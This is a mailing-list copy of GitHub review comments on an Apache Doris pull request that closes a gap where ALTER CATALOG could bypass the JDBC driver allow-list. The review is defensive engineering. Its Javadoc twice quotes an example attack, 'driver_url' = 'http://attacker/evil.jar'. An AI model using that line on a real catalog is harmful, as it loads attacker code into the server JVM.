CalvinKirs commented on code in PR #68129:
URL: https://github.com/apache/doris/pull/68129#discussion_r4035131270
##########
fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java:
##########
@@ -250,10 +253,108 @@ public boolean validatePropertiesBeforeUpdate(
} catch (IllegalArgumentException e) {
throw new DdlException(e.getMessage(), e);
}
+ checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties);
ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules",
null));
return true;
}
+ /**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url these
properties would make the connector
+ * load into the FE JVM.
+ *
+ * <p>On CREATE the same gate is applied inside the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar";)}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * <p>Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+ private void checkDriverUrlsAgainstOperatorGate(Map<String, String>
candidate,
+ Map<String, String> updatedProperties) throws DdlException {
+ DriverUrlKeys keys = driverUrlKeysOf(getType());
+ if (keys == null) {
+ return;
+ }
+ // Only an ALTER that touches a driver-url key (or the flavor key that
can bring a stored one
+ // to life) can repoint the loaded jar; a stored value was gated at
its own CREATE/ALTER time.
+ // Re-resolving an untouched value here would also re-run
getFullDriverUrl's file-existence /
+ // cloud-download side effects under CatalogMgr's write lock on every
unrelated ALTER, and
+ // would let a since-tightened allow-list fail ALTERs that change
nothing about the jar.
+ boolean touched =
keys.urlKeys.stream().anyMatch(updatedProperties::containsKey)
+ || (keys.flavorKey != null &&
updatedProperties.containsKey(keys.flavorKey));
+ if (!touched) {
+ return;
+ }
+ if (keys.flavorKey != null
+ &&
!"jdbc".equalsIgnoreCase(candidate.getOrDefault(keys.flavorKey, ""))) {
+ // A driver_url on a REST/HMS/filesystem catalog stays the dead
config it always was.
+ return;
+ }
+ for (String key : keys.urlKeys) {
+ String driverUrl = candidate.get(key);
+ if (driverUrl == null || driverUrl.trim().isEmpty()) {
+ continue;
+ }
+ try {
+ // The mandatory rule normally runs inside the connector's
property holder; repeated
+ // here so a degraded catalog whose plugin is absent (provider
validation silently
+ // no-ops) still cannot be repointed at a traversal /
non-bare-name jar, and so the
+ // rule holds even under jdbc_driver_secure_path=* (which
getFullDriverUrl accepts
+ // wholesale).
+ JdbcDriverUrlSecurity.check(driverUrl);
+ JdbcResource.getFullDriverUrl(driverUrl);
+ } catch (Exception e) {
+ // getFullDriverUrl throws IllegalArgumentException for policy
rejections but also bare
+ // RuntimeException for a missing/undownloadable bare-name
jar; every failure must become
+ // the DdlException this validation hook promises.
+ throw new DdlException(e.getMessage(), e);
+ }
+ }
+ }
+
+ /** One row of the driver-jar key table: which properties name the jar,
live under which flavor key. */
+ private static final class DriverUrlKeys {
+ /** The properties whose value the connector hands to a class loader,
documented aliases included. */
+ final List<String> urlKeys;
+ /** The key whose candidate value must be "jdbc" for the urlKeys to be
live; null = always live. */
+ final String flavorKey;
+
+ DriverUrlKeys(String flavorKey, String... urlKeys) {
+ this.flavorKey = flavorKey;
+ this.urlKeys = Arrays.asList(urlKeys);
+ }
+ }
+
+ /**
+ * The driver-jar properties of the three jdbc-flavored catalog types,
spelled out here because the
+ * fe.conf policy is the engine's to apply while the keys belong to the
connectors, and widening the
+ * plugin SPI for three constants is not worth a plugin API major bump.
The keys are the user-facing
+ * property names (with their documented aliases), which are wire-stable.
This single table drives
+ * BOTH halves of the gate — the trigger set (urlKeys plus flavorKey: the
changes that can repoint
+ * the loaded jar) and the values that get checked — so the two can never
drift apart. Owners:
+ * JdbcCatalogProperties, IcebergJdbcMetaStoreProperties,
PaimonJdbcMetaStoreProperties. A new
+ * consumer of a jdbc-flavored driver_url adds its row here and nowhere
else (see the "Remote
+ * Artifacts and Dynamic Code Loading" section of AGENTS.md).
+ */
+ private static DriverUrlKeys driverUrlKeysOf(String catalogType) {
Review Comment:
Single table by design: an earlier revision had separate trigger-key and
checked-key tables, and a reviewer pass showed they could silently drift (a key
added to one but not the other would make the gate never fire for it, with no
error). Both halves now derive from this one place. The keys were compared
letter-for-letter against the owning holders' `@ConnectorProperty`
declarations; they are user-facing, wire-stable property names, which is also
why hardcoding three rows here was preferred over widening the connector plugin
SPI (and bumping the plugin API major) for three constants.
##########
fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java:
##########
@@ -250,10 +253,108 @@ public boolean validatePropertiesBeforeUpdate(
} catch (IllegalArgumentException e) {
throw new DdlException(e.getMessage(), e);
}
+ checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties);
ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules",
null));
return true;
}
+ /**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url these
properties would make the connector
+ * load into the FE JVM.
+ *
+ * <p>On CREATE the same gate is applied inside the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar";)}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * <p>Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+ private void checkDriverUrlsAgainstOperatorGate(Map<String, String>
candidate,
Review Comment:
Two review findings shaped this method. (1) The touched-keys guard:
`getFullDriverUrl` is not a pure check - for a bare jar name it does
file-existence probing and, in cloud mode, a download
(`checkAndReturnDefaultDriverUrl`), and this whole method runs under
`CatalogMgr`'s global write lock (`alterCatalogProps` takes it around
`applyAlterCatalogProps`). Without the guard, every unrelated ALTER would
re-resolve the stored driver_url: IO under the lock, and a hard failure once
the operator tightens `jdbc_driver_secure_path` after the fact. A stored value
was already gated at its own CREATE/ALTER time. (2) `catch (Exception)` rather
than `IllegalArgumentException`: `checkAndReturnDefaultDriverUrl` throws bare
`RuntimeException` for a missing or undownloadable jar (JdbcResource.java, the
two throws in that method), which the narrower catch would leak past this
hook's DdlException contract. The in-loop `JdbcDriverUrlSecurity.check` is the
engine-side fallback: it keeps the mandatory r
ule alive for a degraded catalog whose plugin is absent (provider validation
silently no-ops there) and under `jdbc_driver_secure_path=*`, where
`getFullDriverUrl` accepts everything.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]
